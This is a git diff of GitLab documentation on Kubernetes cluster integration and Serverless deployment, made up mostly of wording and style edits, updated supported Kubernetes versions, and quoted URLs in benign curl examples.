diff --git a/doc/user/project/clusters/index.md b/doc/user/project/clusters/index.md
index 9273fb7b361..80db1c960db 100644
--- a/doc/user/project/clusters/index.md
+++ b/doc/user/project/clusters/index.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Kubernetes clusters
@@ -20,7 +20,7 @@ Using the GitLab project Kubernetes integration, you can:
- Detect and [monitor Kubernetes](#monitoring-your-kubernetes-cluster).
- Use it with [Auto DevOps](#auto-devops).
- Use [Web terminals](#web-terminals).
-- Use [Deploy Boards](#deploy-boards). **(PREMIUM)**
+- Use [Deploy Boards](#deploy-boards).
- Use [Canary Deployments](#canary-deployments). **(PREMIUM)**
- Use [deployment variables](#deployment-variables).
- Use [role-based or attribute-based access controls](add_remove_clusters.md#access-controls).
@@ -45,18 +45,18 @@ versions at any given time. We regularly review the versions we support, and
provide a three-month deprecation period before we remove support of a specific
version. The range of supported versions is based on the evaluation of:
-- Our own needs.
- The versions supported by major managed Kubernetes providers.
- The versions [supported by the Kubernetes community](https://kubernetes.io/docs/setup/release/version-skew-policy/#supported-versions).
GitLab supports the following Kubernetes versions, and you can upgrade your
Kubernetes version to any supported version at any time:
-- 1.17
-- 1.16
-- 1.15
+- 1.19 (support ends on February 22, 2022)
+- 1.18 (support ends on November 22, 2021)
+- 1.17 (support ends on September 22, 2021)
+- 1.16 (support ends on July 22, 2021)
+- 1.15 (support ends on May 22, 2021)
- 1.14 (deprecated, support ends on December 22, 2020)
-- 1.13 (deprecated, support ends on November 22, 2020)
Some GitLab features may support versions outside the range provided here.
@@ -66,7 +66,7 @@ See [Adding and removing Kubernetes clusters](add_remove_clusters.md) for detail
to:
- Create a cluster in Google Cloud Platform (GCP) or Amazon Elastic Kubernetes Service
- (EKS) using GitLab's UI.
+ (EKS) using the GitLab UI.
- Add an integration to an existing cluster from any Kubernetes platform.
### Multiple Kubernetes clusters
@@ -79,8 +79,8 @@ project. That way you can have different clusters for different environments,
like dev, staging, production, and so on.
Simply add another cluster, like you did the first time, and make sure to
-[set an environment scope](#setting-the-environment-scope) that will
-differentiate the new cluster with the rest.
+[set an environment scope](#setting-the-environment-scope) that
+differentiates the new cluster from the rest.
#### Setting the environment scope
@@ -89,9 +89,9 @@ them with an environment scope. The environment scope associates clusters with [
[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables) work.
The default environment scope is `*`, which means all jobs, regardless of their
-environment, will use that cluster. Each scope can only be used by a single
-cluster in a project, and a validation error will occur if otherwise.
-Also, jobs that don't have an environment keyword set will not be able to access any cluster.
+environment, use that cluster. Each scope can be used only by a single cluster
+in a project, and a validation error occurs if otherwise. Also, jobs that don't
+have an environment keyword set can't access any cluster.
For example, let's say the following Kubernetes clusters exist in a project:
@@ -127,13 +127,13 @@ deploy to production:
url: https://example.com/
```
-The result will then be:
+The results:
-- The Development cluster details will be available in the `deploy to staging`
+- The Development cluster details are available in the `deploy to staging`
job.
-- The production cluster details will be available in the `deploy to production`
+- The production cluster details are available in the `deploy to production`
job.
-- No cluster details will be available in the `test` job because it doesn't
+- No cluster details are available in the `test` job because it doesn't
define any environment.
## Configuring your Kubernetes cluster
@@ -143,7 +143,7 @@ important considerations for configuring Kubernetes clusters with GitLab.
### Security implications
-CAUTION: **Important:**
+WARNING:
The whole cluster security is based on a model where [developers](../../permissions.md)
are trusted, so **only trusted users should be allowed to control your clusters**.
@@ -157,15 +157,15 @@ applications running on the cluster.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22011) in GitLab 11.5.
> - Became [optional](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/26565) in GitLab 11.11.
-You can choose to allow GitLab to manage your cluster for you. If your cluster is
-managed by GitLab, resources for your projects will be automatically created. See the
-[Access controls](add_remove_clusters.md#access-controls) section for details on which resources will
-be created.
+You can choose to allow GitLab to manage your cluster for you. If your cluster
+is managed by GitLab, resources for your projects are automatically created. See
+the [Access controls](add_remove_clusters.md#access-controls) section for
+details about the created resources.
-If you choose to manage your own cluster, project-specific resources will not be created
-automatically. If you are using [Auto DevOps](../../../topics/autodevops/index.md), you will
-need to explicitly provide the `KUBE_NAMESPACE` [deployment variable](#deployment-variables)
-that will be used by your deployment jobs, otherwise a namespace will be created for you.
+If you choose to manage your own cluster, project-specific resources aren't created
+automatically. If you are using [Auto DevOps](../../../topics/autodevops/index.md), you must
+explicitly provide the `KUBE_NAMESPACE` [deployment variable](#deployment-variables)
+for your deployment jobs to use; otherwise a namespace is created for you.
#### Important notes
@@ -198,10 +198,10 @@ To clear the cache:
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24580) in GitLab 11.8.
You do not need to specify a base domain on cluster settings when using GitLab Serverless. The domain in that case
-will be specified as part of the Knative installation. See [Installing Applications](#installing-applications).
+is specified as part of the Knative installation. See [Installing Applications](#installing-applications).
-Specifying a base domain will automatically set `KUBE_INGRESS_BASE_DOMAIN` as an environment variable.
-If you are using [Auto DevOps](../../../topics/autodevops/index.md), this domain will be used for the different
+Specifying a base domain automatically sets `KUBE_INGRESS_BASE_DOMAIN` as an environment variable.
+If you are using [Auto DevOps](../../../topics/autodevops/index.md), this domain is used for the different
stages. For example, Auto Review Apps and Auto Deploy.
The domain should have a wildcard DNS configured to the Ingress IP address. After Ingress has been installed (see [Installing Applications](#installing-applications)),
@@ -224,7 +224,7 @@ Auto DevOps automatically detects, builds, tests, deploys, and monitors your
applications.
To make full use of Auto DevOps (Auto Deploy, Auto Review Apps, and
-Auto Monitoring) you will need the Kubernetes project integration enabled, but
+Auto Monitoring) the Kubernetes project integration must be enabled, but
Kubernetes clusters can be used without Auto DevOps.
[Read more about Auto DevOps](../../../topics/autodevops/index.md)
@@ -237,8 +237,8 @@ A Kubernetes cluster can be the destination for a deployment job. If
[deployment variables](#deployment-variables) are made available to your job
and configuration is not required. You can immediately begin interacting with
the cluster from your jobs using tools such as `kubectl` or `helm`.
-- You don't use GitLab's cluster integration you can still deploy to your
- cluster. However, you will need configure Kubernetes tools yourself
+- You don't use the GitLab cluster integration, you can still deploy to your
+ cluster. However, you must configure Kubernetes tools yourself
using [environment variables](../../../ci/variables/README.md#custom-environment-variables)
before you can interact with the cluster from your jobs.
@@ -257,14 +257,14 @@ The Kubernetes cluster integration exposes the following
GitLab CI/CD build environment to deployment jobs, which are jobs that have
[defined a target environment](../../../ci/environments/index.md#defining-environments).
-| Variable | Description |
-| -------- | ----------- |
-| `KUBE_URL` | Equal to the API URL. |
-| `KUBE_TOKEN` | The Kubernetes token of the [environment service account](add_remove_clusters.md#access-controls). Prior to GitLab 11.5, `KUBE_TOKEN` was the Kubernetes token of the main service account of the cluster integration. |
-| `KUBE_NAMESPACE` | The namespace associated with the project's deployment service account. In the format `<project_name>-<project_id>-<environment>`. For GitLab-managed clusters, a matching namespace is automatically created by GitLab in the cluster. If your cluster was created before GitLab 12.2, the default `KUBE_NAMESPACE` is set to `<project_name>-<project_id>`. |
-| `KUBE_CA_PEM_FILE` | Path to a file containing PEM data. Only present if a custom CA bundle was specified. |
-| `KUBE_CA_PEM` | (**deprecated**) Raw PEM data. Only if a custom CA bundle was specified. |
-| `KUBECONFIG` | Path to a file containing `kubeconfig` for this deployment. CA bundle would be embedded if specified. This configuration also embeds the same token defined in `KUBE_TOKEN` so you likely will only need this variable. This variable name is also automatically picked up by `kubectl` so you won't actually need to reference it explicitly if using `kubectl`. |
+| Variable | Description |
+|----------------------------|-------------|
+| `KUBE_URL` | Equal to the API URL. |
+| `KUBE_TOKEN` | The Kubernetes token of the [environment service account](add_remove_clusters.md#access-controls). Prior to GitLab 11.5, `KUBE_TOKEN` was the Kubernetes token of the main service account of the cluster integration. |
+| `KUBE_NAMESPACE` | The namespace associated with the project's deployment service account. In the format `<project_name>-<project_id>-<environment>`. For GitLab-managed clusters, a matching namespace is automatically created by GitLab in the cluster. If your cluster was created before GitLab 12.2, the default `KUBE_NAMESPACE` is set to `<project_name>-<project_id>`. |
+| `KUBE_CA_PEM_FILE` | Path to a file containing PEM data. Only present if a custom CA bundle was specified. |
+| `KUBE_CA_PEM` | (**deprecated**) Raw PEM data. Only if a custom CA bundle was specified. |
+| `KUBECONFIG` | Path to a file containing `kubeconfig` for this deployment. CA bundle would be embedded if specified. This configuration also embeds the same token defined in `KUBE_TOKEN` so you likely need only this variable. This variable name is also automatically picked up by `kubectl` so you don't need to reference it explicitly if using `kubectl`. |
| `KUBE_INGRESS_BASE_DOMAIN` | From GitLab 11.8, this variable can be used to set a domain per cluster. See [cluster domains](#base-domain) for more information. |
### Custom namespace
@@ -294,7 +294,7 @@ You can customize the deployment namespace in a few ways:
When you customize the namespace, existing environments remain linked to their current
namespaces until you [clear the cluster cache](#clearing-the-cluster-cache).
-CAUTION: **Warning:**
+WARNING:
By default, anyone who can create a deployment job can access any CI variable within
an environment's deployment job. This includes `KUBECONFIG`, which gives access to
any secret available to the associated service account in your cluster.
@@ -316,9 +316,9 @@ the need to leave GitLab.
[Read more about Canary Deployments](../canary_deployments.md)
-#### Deploy Boards **(PREMIUM)**
+#### Deploy Boards
-GitLab's Deploy Boards offer a consolidated view of the current health and
+GitLab Deploy Boards offer a consolidated view of the current health and
status of each CI [environment](../../../ci/environments/index.md) running on Kubernetes,
displaying the status of the pods in the deployment. Developers and other
teammates can view the progress and status of a rollout, pod by pod, in the
@@ -362,7 +362,7 @@ the deployment job:
- A namespace.
- A service account.
-However, sometimes GitLab can not create them. In such instances, your job will fail with the message:
+However, sometimes GitLab can not create them. In such instances, your job can fail with the message:
```plaintext
This job failed because the necessary resources were not successfully created.
@@ -376,9 +376,9 @@ Reasons for failure include:
privileges required by GitLab.
- Missing `KUBECONFIG` or `KUBE_TOKEN` variables. To be passed to your job, they must have a matching
[`environment:name`](../../../ci/environments/index.md#defining-environments). If your job has no
- `environment:name` set, it will not be passed the Kubernetes credentials.
+ `environment:name` set, the Kubernetes credentials are not passed to it.
-NOTE: **Note:**
+NOTE:
Project-level clusters upgraded from GitLab 12.0 or older may be configured
in a way that causes this error. Ensure you deselect the
[GitLab-managed cluster](#gitlab-managed-clusters) option if you want to manage
@@ -396,6 +396,6 @@ Automatically detect and monitor Kubernetes metrics. Automatic monitoring of
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4701) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.6.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/208224) to GitLab Core in 13.2.
-When [Prometheus is deployed](#installing-applications), GitLab will automatically monitor the cluster's health. At the top of the cluster settings page, CPU and Memory utilization is displayed, along with the total amount available. Keeping an eye on cluster resources can be important, if the cluster runs out of memory pods may be shutdown or fail to start.
+When [Prometheus is deployed](#installing-applications), GitLab monitors the cluster's health. At the top of the cluster settings page, CPU and Memory utilization is displayed, along with the total amount available. Keeping an eye on cluster resources can be important, if the cluster runs out of memory pods may be shutdown or fail to start.
![Cluster Monitoring](img/k8s_cluster_monitoring.png)
diff --git a/doc/user/project/clusters/kubernetes_pod_logs.md b/doc/user/project/clusters/kubernetes_pod_logs.md
index 2e224208eb8..2523dc3e0a2 100644
--- a/doc/user/project/clusters/kubernetes_pod_logs.md
+++ b/doc/user/project/clusters/kubernetes_pod_logs.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Kubernetes Logs
diff --git a/doc/user/project/clusters/runbooks/index.md b/doc/user/project/clusters/runbooks/index.md
index c1e4e821efd..332c1f35d89 100644
--- a/doc/user/project/clusters/runbooks/index.md
+++ b/doc/user/project/clusters/runbooks/index.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Runbooks
@@ -25,7 +25,7 @@ pre-written code blocks or database queries against a given environment.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45912) in GitLab 11.4.
-The JupyterHub app offered via GitLab’s Kubernetes integration now ships
+The JupyterHub app offered via the GitLab Kubernetes integration now ships
with Nurtch’s Rubix library, providing a simple way to create DevOps
runbooks. A sample runbook is provided, showcasing common operations. While
Rubix makes it simple to create common Kubernetes and AWS workflows, you can
@@ -37,11 +37,11 @@ for an overview of how this is accomplished in GitLab!
## Requirements
-To create an executable runbook, you will need:
+To create an executable runbook, you need:
- **Kubernetes** - A Kubernetes cluster is required to deploy the rest of the
applications. The simplest way to get started is to add a cluster using one
- of [GitLab's integrations](../add_remove_clusters.md#create-new-cluster).
+ of the [GitLab integrations](../add_remove_clusters.md#create-new-cluster).
- **Ingress** - Ingress can provide load balancing, SSL termination, and name-based
virtual hosting. It acts as a web proxy for your applications.
- **JupyterHub** - [JupyterHub](https://jupyterhub.readthedocs.io/) is a multi-user
@@ -71,7 +71,7 @@ the components outlined above and the pre-loaded demo runbook.
![install ingress](img/ingress-install.png)
1. After Ingress has been installed successfully, click the **Install** button next
- to the **JupyterHub** application. You will need the **Jupyter Hostname** provided
+ to the **JupyterHub** application. You need the **Jupyter Hostname** provided
here in the next step.
![install JupyterHub](img/jupyterhub-install.png)
@@ -84,8 +84,8 @@ the components outlined above and the pre-loaded demo runbook.
![authorize Jupyter](img/authorize-jupyter.png)
-1. Click **Authorize**, and you will be redirected to the JupyterHub application.
-1. Click **Start My Server**, and the server will start in a few seconds.
+1. Click **Authorize**, and GitLab redirects you to the JupyterHub application.
+1. Click **Start My Server** to start the server in a few seconds.
1. To configure the runbook's access to your GitLab project, you must enter your
[GitLab Access Token](../../../profile/personal_access_tokens.md)
and your Project ID in the **Setup** section of the demo runbook:
diff --git a/doc/user/project/clusters/securing.md b/doc/user/project/clusters/securing.md
index 2d74f67ba35..fa80bd6423b 100644
--- a/doc/user/project/clusters/securing.md
+++ b/doc/user/project/clusters/securing.md
@@ -1,7 +1,7 @@
---
stage: Protect
group: Container Security
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Securing your deployed applications
@@ -40,7 +40,7 @@ Minimum requirements (depending on the GitLab Manage Application you want to ins
### Understanding how GitLab Managed Apps are installed
-NOTE: **Note:**
+NOTE:
These diagrams use the term _Kubernetes_ for simplicity. In practice, Sidekiq connects to a Helm
command runner pod in the cluster.
diff --git a/doc/user/project/clusters/serverless/aws.md b/doc/user/project/clusters/serverless/aws.md
index 0de0fd38336..a52d3400aa2 100644
--- a/doc/user/project/clusters/serverless/aws.md
+++ b/doc/user/project/clusters/serverless/aws.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Deploying AWS Lambda function using GitLab CI/CD
@@ -29,7 +29,7 @@ Alternatively, you can quickly [create a new project with a template](../../../.
### Example
-In the following example, you will:
+This example shows you how to:
1. Create a basic AWS Lambda Node.js function.
1. Link the function to an API Gateway `GET` endpoint.
@@ -49,7 +49,7 @@ Lets take it step by step.
#### Creating a Lambda handler function
-Your Lambda function will be the primary handler of requests. In this case we will create a very simple Node.js `hello` function:
+Your Lambda function is the primary handler of requests. In this case, create a very simple Node.js `hello` function:
```javascript
'use strict';
@@ -72,13 +72,13 @@ Place this code in the file `src/handler.js`.
`src` is the standard location for serverless functions, but is customizable should you desire that.
-In our case, `module.exports.hello` defines the `hello` handler that will be referenced later in the `serverless.yml`
+In our case, `module.exports.hello` defines the `hello` handler to reference later in the `serverless.yml`.
You can learn more about the AWS Lambda Node.js function handler and all its various options here: <https://docs.aws.amazon.com/lambda/latest/dg/nodejs-prog-model-handler.html>
#### Creating a `serverless.yml` file
-In the root of your project, create a `serverless.yml` file that will contain configuration specifics for the Serverless Framework.
+In the root of your project, create a `serverless.yml` file containing configuration specifics for the Serverless Framework.
Put the following code in the file:
@@ -97,9 +97,9 @@ functions:
Our function contains a handler and a event.
-The handler definition will provision the Lambda function using the source code located `src/handler.hello`.
+The handler definition provisions the Lambda function using the source code located `src/handler.hello`.
-The `events` declaration will create a AWS API Gateway `GET` endpoint to receive external requests and hand them over to the Lambda function via a service integration.
+The `events` declaration creates an AWS API Gateway `GET` endpoint to receive external requests and hand them over to the Lambda function via a service integration.
You can read more about the [available properties and additional configuration possibilities](https://www.serverless.com/framework/docs/providers/aws/guide/serverless.yml/) of the Serverless Framework.
@@ -141,10 +141,10 @@ For more information please see [Create a custom variable in the UI](../../../..
#### Deploying your function
-`git push` the changes to your GitLab repository and the GitLab build pipeline will automatically deploy your function.
+`git push` the changes to your GitLab repository and the GitLab build pipeline deploys your function.
-In your GitLab deploy stage log, there will be output containing your AWS Lambda endpoint URL.
-The log line will look similar to this:
+Your GitLab deploy stage log contains output containing your AWS Lambda endpoint URL,
+with log lines similar to this:
```plaintext
endpoints:
@@ -157,7 +157,7 @@ Running the following `curl` command should trigger your function.
Your URL should be the one retrieved from the GitLab deploy stage log:
```shell
-curl https://u768nzby1j.execute-api.us-east-1.amazonaws.com/production/hello
+curl "https://u768nzby1j.execute-api.us-east-1.amazonaws.com/production/hello"
```
That should output:
@@ -200,7 +200,7 @@ The `serverless-offline` plugin allows to run your code locally. To run your cod
Running the following `curl` command should trigger your function.
```shell
-curl http://localhost:3000/hello
+curl "http://localhost:3000/hello"
```
It should output:
@@ -227,9 +227,9 @@ provider:
```
From there, you can reference them in your functions as well.
-Remember to add `A_VARIABLE` to your GitLab CI/CD variables under **Settings > CI/CD > Variables**, and it will get picked up and deployed with your function.
+Remember to add `A_VARIABLE` to your GitLab CI/CD variables under **Settings > CI/CD > Variables** to be picked up and deployed with your function.
-NOTE: **Note:**
+NOTE:
Anyone with access to the AWS environment may be able to see the values of those
variables persisted in the lambda definition.
@@ -309,7 +309,7 @@ GitLab allows developers to build and deploy serverless applications using the c
### Example
-In the following example, you will:
+This example shows you how to:
- Install SAM CLI.
- Create a sample SAM application including a Lambda function and API Gateway.
@@ -414,8 +414,8 @@ Let’s examine the configuration file more closely:
### Deploying your application
-Push changes to your GitLab repository and the GitLab build pipeline will automatically
-deploy your application. If your:
+Push changes to your GitLab repository and the GitLab build pipeline
+deploys your application. If your:
- Build and deploy are successful, [test your deployed application](#testing-the-deployed-application).
- Build fails, look at the build log to see why the build failed. Some common reasons
@@ -444,7 +444,7 @@ To test the application you deployed, please go to the build log and follow the
1. Use curl to test the API. For example:
```shell
- curl https://py4rg7qtlg.execute-api.us-east-1.amazonaws.com/Prod/hello/
+ curl "https://py4rg7qtlg.execute-api.us-east-1.amazonaws.com/Prod/hello/"
```
Output should be:
@@ -496,7 +496,7 @@ listening on `localhost:3000`.
Call the `hello` API by running:
```shell
-curl http://127.0.0.1:3000/hello
+curl "http://127.0.0.1:3000/hello"
```
Output again should be:
diff --git a/doc/user/project/clusters/serverless/index.md b/doc/user/project/clusters/serverless/index.md
index 603c4bd73b1..fcbf85121b2 100644
--- a/doc/user/project/clusters/serverless/index.md
+++ b/doc/user/project/clusters/serverless/index.md
@@ -1,15 +1,15 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Serverless
> Introduced in GitLab 11.5.
-CAUTION: **Caution:**
-Serverless is currently in [alpha](https://about.gitlab.com/handbook/product/#alpha).
+WARNING:
+Serverless is currently in [alpha](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha).
## Overview
@@ -39,9 +39,9 @@ With GitLab Serverless, you can deploy both functions-as-a-service (FaaS) and se
## Prerequisites
-To run Knative on GitLab, you will need:
+To run Knative on GitLab, you need:
-1. **Existing GitLab project:** You will need a GitLab project to associate all resources. The simplest way to get started:
+1. **Existing GitLab project:** You need a GitLab project to associate all resources. The simplest way to get started:
- If you are planning on [deploying functions](#deploying-functions),
clone the [functions example project](https://gitlab.com/knative-examples/functions) to get
started.
@@ -49,21 +49,21 @@ To run Knative on GitLab, you will need:
clone the sample [Knative Ruby App](https://gitlab.com/knative-examples/knative-ruby-app) to get
started.
1. **Kubernetes Cluster:** An RBAC-enabled Kubernetes cluster is required to deploy Knative.
- The simplest way to get started is to add a cluster using GitLab's [GKE integration](../add_remove_clusters.md).
+ The simplest way to get started is to add a cluster using the GitLab [GKE integration](../add_remove_clusters.md).
The set of minimum recommended cluster specifications to run Knative is 3 nodes, 6 vCPUs, and 22.50 GB memory.
-1. **GitLab Runner:** A runner is required to run the CI jobs that will deploy serverless
+1. **GitLab Runner:** A runner is required to run the CI jobs that deploy serverless
applications or functions onto your cluster. You can install GitLab Runner
onto the existing Kubernetes cluster. See [Installing Applications](../index.md#installing-applications) for more information.
-1. **Domain Name:** Knative will provide its own load balancer using Istio. It will provide an
- external IP address or hostname for all the applications served by Knative. You will be prompted to enter a
- wildcard domain where your applications will be served. Configure your DNS server to use the
+1. **Domain Name:** Knative provides its own load balancer using Istio, and an
+ external IP address or hostname for all the applications served by Knative. Enter a
+ wildcard domain to serve your applications. Configure your DNS server to use the
external IP address or hostname for that domain.
1. **`.gitlab-ci.yml`:** GitLab uses [Kaniko](https://github.com/GoogleContainerTools/kaniko)
to build the application. We also use [GitLab Knative tool](https://gitlab.com/gitlab-org/gitlabktl)
CLI to simplify the deployment of services and functions to Knative.
1. **`serverless.yml`** (for [functions only](#deploying-functions)): When using serverless to deploy functions, the `serverless.yml` file
- will contain the information for all the functions being hosted in the repository as well as a reference to the
- runtime being used.
+ contains the information for all the functions being hosted in the repository as well as a reference
+ to the runtime being used.
1. **`Dockerfile`** (for [applications only](#deploying-serverless-applications)): Knative requires a
`Dockerfile` in order to build your applications. It should be included at the root of your
project's repository and expose port `8080`. `Dockerfile` is not require if you plan to build serverless functions
@@ -73,7 +73,7 @@ To run Knative on GitLab, you will need:
1. **Logging** (optional): Configuring logging allows you to view and search request logs for your serverless function/application.
See [Configuring logging](#configuring-logging) for more information.
-## Installing Knative via GitLab's Kubernetes integration
+## Installing Knative via the GitLab Kubernetes integration
The minimum recommended cluster size to run Knative is 3-nodes, 6 vCPUs, and 22.50 GB
memory. **RBAC must be enabled.**
@@ -87,12 +87,12 @@ memory. **RBAC must be enabled.**
1. After the Knative installation has finished, you can wait for the IP address or hostname to be displayed in the
**Knative Endpoint** field or [retrieve the Istio Ingress Endpoint manually](../../../clusters/applications.md#determining-the-external-endpoint-manually).
- NOTE: **Note:**
+ NOTE:
Running `kubectl` commands on your cluster requires setting up access to the cluster first.
For clusters created on GKE, see [GKE Cluster Access](https://cloud.google.com/kubernetes-engine/docs/how-to/cluster-access-for-kubectl),
for other platforms [Install kubectl](https://kubernetes.io/docs/tasks/tools/install-kubectl/).
-1. The Ingress is now available at this address and will route incoming requests to the proper service based on the DNS
+1. The Ingress is now available at this address and routes incoming requests to the proper service based on the DNS
name in the request. To support this, a wildcard DNS record should be created for the desired domain name. For example,
if your Knative base domain is `knative.info` then you need to create an A record or CNAME record with domain `*.knative.info`
pointing the IP address or hostname of the Ingress.
@@ -107,7 +107,7 @@ on a given project, but not both. The current implementation makes use of a
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/58941) in GitLab 12.0.
-The _invocations_ monitoring feature of GitLab serverless won't work when
+The _invocations_ monitoring feature of GitLab serverless is unavailable when
adding an existing installation of Knative.
It's also possible to use GitLab Serverless with an existing Kubernetes cluster
@@ -121,9 +121,9 @@ which already has Knative installed. You must do the following:
- For a non-GitLab managed cluster, ensure that the service account for the token
provided can manage resources in the `serving.knative.dev` API group.
- For a GitLab managed cluster, if you added the cluster in [GitLab 12.1 or later](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30235),
- then GitLab will already have the required access and you can proceed to the next step.
+ then GitLab already has the required access and you can proceed to the next step.
- Otherwise, you need to manually grant GitLab's service account the ability to manage
+ Otherwise, you need to manually grant the GitLab service account the ability to manage
resources in the `serving.knative.dev` API group. Since every GitLab service account
has the `edit` cluster role, the simplest way to do this is with an
[aggregated ClusterRole](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#aggregated-clusterroles)
@@ -234,12 +234,12 @@ Follow these steps to deploy a function using the Node.js runtime to your
Knative instance (you can skip these steps if you've cloned the example
project):
-1. Create a directory that will house the function. In this example we will
+1. Create a directory to house the function. In this example we will
create a directory called `echo` at the root of the project.
-1. Create the file that will contain the function code. In this example, our file is called `echo.js` and is located inside the `echo` directory. If your project is:
+1. Create the file to contain the function code. In this example, our file is called `echo.js` and is located inside the `echo` directory. If your project is:
- Public, continue to the next step.
- - Private, you will need to [create a GitLab deploy token](../../deploy_tokens/index.md#creating-a-deploy-token) with `gitlab-deploy-token` as the name and the `read_registry` scope.
+ - Private, you must [create a GitLab deploy token](../../deploy_tokens/index.md#creating-a-deploy-token) with `gitlab-deploy-token` as the name and the `read_registry` scope.
1. `.gitlab-ci.yml`: this defines a pipeline used to deploy your functions.
It must be included at the root of your repository:
@@ -304,7 +304,7 @@ Explanation of the fields used above:
| Parameter | Description |
|-----------|-------------|
-| `service` | Name for the Knative service which will serve the function. |
+| `service` | Name for the Knative service which serves the function. |
| `description` | A short description of the `service`. |
### `provider`
@@ -349,9 +349,9 @@ The optional `runtime` parameter can refer to one of the following runtime alias
| `openfaas/classic/ruby` | OpenFaaS |
After the `gitlab-ci.yml` template has been added and the `serverless.yml` file
-has been created, pushing a commit to your project will result in a CI pipeline
-being executed which will deploy each function as a Knative service. Once the
-deploy stage has finished, additional details for the function will appear
+has been created, pushing a commit to your project results in a CI pipeline
+being executed which deploys each function as a Knative service. After the
+deploy stage has finished, additional details for the function display
under **Operations > Serverless**.
![serverless page](img/serverless-page.png)
@@ -376,7 +376,7 @@ The sample function can now be triggered from any HTTP client using a simple `PO
--header "Content-Type: application/json" \
--request POST \
--data '{"GitLab":"FaaS"}' \
- http://functions-echo.functions-1.functions.example.com/
+ "http://functions-echo.functions-1.functions.example.com/"
```
1. Using a web-based tool (such as Postman or Restlet)
@@ -443,14 +443,13 @@ To run a function locally:
1. Invoke your function:
```shell
- curl http://localhost:8080
+ curl "http://localhost:8080"
```
## Deploying Serverless applications
> Introduced in GitLab 11.5.
-12345678901234567890123456789012345678901234567890123456789012345678901234567890
Serverless applications are an alternative to [serverless functions](#deploying-functions).
They're useful in scenarios where an existing runtime does not meet the needs of
an application, such as one written in a language that has no runtime available.
@@ -482,7 +481,7 @@ A `serverless.yml` file is not required when deploying serverless applications.
### Deploy the application with Knative
-With all the pieces in place, the next time a CI pipeline runs, the Knative application will be deployed. Navigate to
+With all the pieces in place, the next time a CI pipeline runs the Knative application deploys. Navigate to
**CI/CD > Pipelines** and click the most recent pipeline.
### Function details
@@ -498,13 +497,13 @@ rows to bring up the function details page.
![function_details](img/function-details-loaded.png)
-The pod count will give you the number of pods running the serverless function instances on a given cluster.
+The pod count gives you the number of pods running the serverless function instances on a given cluster.
For the Knative function invocations to appear,
[Prometheus must be installed](../index.md#installing-applications).
Once Prometheus is installed, a message may appear indicating that the metrics data _is
-loading or is not available at this time._ It will appear upon the first access of the
+loading or is not available at this time._ It appears upon the first access of the
page, but should go away after a few seconds. If the message does not disappear, then it
is possible that GitLab is unable to connect to the Prometheus instance running on the
cluster.
@@ -558,7 +557,7 @@ Or:
## Enabling TLS for Knative services
-By default, a GitLab serverless deployment will be served over `http`. To serve
+By default, a GitLab serverless deployment is served over `http`. To serve
over `https`, you must manually obtain and install TLS certificates.
12345678901234567890123456789012345678901234567890123456789012345678901234567890
@@ -647,7 +646,7 @@ or with other versions of Python.
```
1. Create certificate and private key files. Using the contents of the files
- returned by Certbot, we'll create two files in order to create the
+ returned by Certbot, create two files in order to create the
Kubernetes secret:
Run the following command to see the contents of `fullchain.pem`:
@@ -767,7 +766,7 @@ or with other versions of Python.
1. Create a Kubernetes secret to hold your TLS certificate, `cert.pem`, and
the private key `cert.pk`:
- NOTE: **Note:**
+ NOTE:
Running `kubectl` commands on your cluster requires setting up access to the cluster first.
For clusters created on GKE, see
[GKE Cluster Access](https://cloud.google.com/kubernetes-engine/docs/how-to/cluster-access-for-kubectl).
@@ -828,8 +827,8 @@ or with other versions of Python.
```
After your changes are running on your Knative cluster, you can begin using the HTTPS protocol for secure access your deployed Knative services.
- In the event a mistake is made during this process and you need to update the cert, you will need to edit the gateway `knative-ingress-gateway`
- to switch back to `PASSTHROUGH` mode. Once corrections are made, edit the file again so the gateway will use the new certificates.
+ In the event a mistake is made during this process and you need to update the cert, you must edit the gateway `knative-ingress-gateway`
+ to switch back to `PASSTHROUGH` mode. Once corrections are made, edit the file again so the gateway uses the new certificates.
## Using an older version of `gitlabktl`
diff --git a/doc/user/project/code_intelligence.md b/doc/user/project/code_intelligence.md
